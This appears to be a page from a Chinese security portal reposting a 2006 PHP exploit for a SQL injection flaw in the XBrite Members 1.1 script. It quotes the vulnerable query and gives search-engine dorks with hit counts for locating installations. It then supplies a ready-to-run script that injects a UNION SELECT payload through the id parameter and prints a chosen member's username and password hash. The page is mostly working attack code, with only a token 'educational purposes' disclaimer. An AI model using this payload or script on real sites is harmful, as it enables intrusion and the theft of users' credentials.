首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
XBrite Members <= 1.1 (id) Remote SQL Injection Exploit
来源:snatcher@gmx.ch 作者:snatcher 发布时间:2006-04-10  

<?php /*
|=================================================================================================|
| _______..__ __. ___ .___________. ______ __ __ _______ .______ |
| / || \ | | / \ | | / || | | | | ____|| _ \ |
| | (----`| \| | / ^ \ `---| |----`| ,----'| |__| | | |__ | |_) | |
| \ \ | . ` | / /_\ \ | | | | | __ | | __| | / |
| .----) | | |\ | / _____ \ | | | `----.| | | | | |____ | |\ \----. |
| |_______/ |__| \__| /__/ \__\ |__| \______||__| |__| |_______|| _| `._____| |
| |
|=================================================================================================|


exploit: XBrite Members <= 1.1 remote sql injection vulnerability
release: 2006-04-09
author: snatcher [snatcher at gmx.ch]
country: switzerland |+|

application: XBrite Members <= 1.1
description: a php / mysql based member script
download: http://www.xelebrite.de
http://www.clanscripte.net/main.php?content=download&do=file&dlid=179
description: if magic_quotes_gpc is Off, you can get each password (md5 hash) with a simple sql injection
fingerprint: google -> "Powered By XBrite Members" -> 2800
msn -> "Powered By XBrite Members" -> 581
conditions: php.ini -> magic_quotes_gpc = Off
greets: all security guys and coders over the world, honkey :>, ..
terms of use: this exploit is just for educational purposes, do not use it for illegal acts.


---------------------------- members.php - line 197 -------------------------------------
$query = @mysql_query ("select * from oz_members where id='".$_GET['id']."'");
-----------------------------------------------------------------------------------------

because magic_quotes_gpc is off, you can break out of the singel quotes and insert malicious sql code,
i.e. with a union operator.


*/

/*********************** CONFIGURATION ****************************/

$PATH_TO_FILE = 'http://yourhost.com/member.php'; // in example: http://yourhost.com/member.php
$USER_ID = 1; // from which user id do you want the password? default: 1
$GET_VARS = '?action=members&act=show&id='; // do not change
$SQL_INJECTION = '0\' union select 1,1,1,1,1,1,1,1,1,real_name'. // do not change
',name,pw,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,'.
'1,1,1,1,1,1,1,1,1,1,1,1 from oz_members where '.
'id = '.$USER_ID.' /*';


/**************************** MAIN ********************************/

$file_array = file($PATH_TO_FILE.$GET_VARS.urlencode($SQL_INJECTION))or die('couldn\'t open host!');
foreach ($file_array as $now)
$html_content .= $now;

$html_content = str_castrate($html_content);

preg_match_all("!Alter:</b></td><tdwidth=\"50%\">(.*?)</td>!",$html_content,$username); /* gets username */
preg_match_all("!Herkunft:</b></td><tdwidth=\"50%\">(.*?)</td>!",$html_content,$password); /* gets password */

if ($username[1][0] && $password[1][0] && $username[1][0] <> 'keineAngabe') {
echo 'username: <b>'.$username[1][0].'</b><br>';
echo 'password: <b>'.$password[1][0].'</b>';
}else {
echo 'exploit failed! <br>magic_quotes_gpc = Off ?';
}
echo '<br><br><br><br><br>
======================================================================<br>
exploit: XBrite Members <= 1.1 remote sql injection vulnerability<br>
release: 2006-04-09<br>
author: snatcher [snatcher at gmx.ch]<br>
======================================================================';

function str_castrate($string) {
$string = str_replace("\n", '', $string);
$string = str_replace("\r", '', $string);
$string = str_replace(" ", '', $string);
return $string;
}
?>



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·ADODB < 4.70 (PhpOpenChat 3
·Linux Kernel 2.6.x sys_timer_c
·ADODB < 4.70 (tmssql.php) D
·w3wp remote DoS exploit due to
·Horde Help Viewer <= 3.1 Re
·PHPList <= 2.10.2 GLOBALS[]
·phpMyChat <= 0.14.5 (SYS en
·Horde <= 3.0.9, 3.1.0 (Help
·SQuery versions less than or e
·phpBB <= 2.0.19 (user_sig_b
·PHPNuke-Clan 3.0.1 Remote File
·ClansyS 1.1 (showid) Remote SQ
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved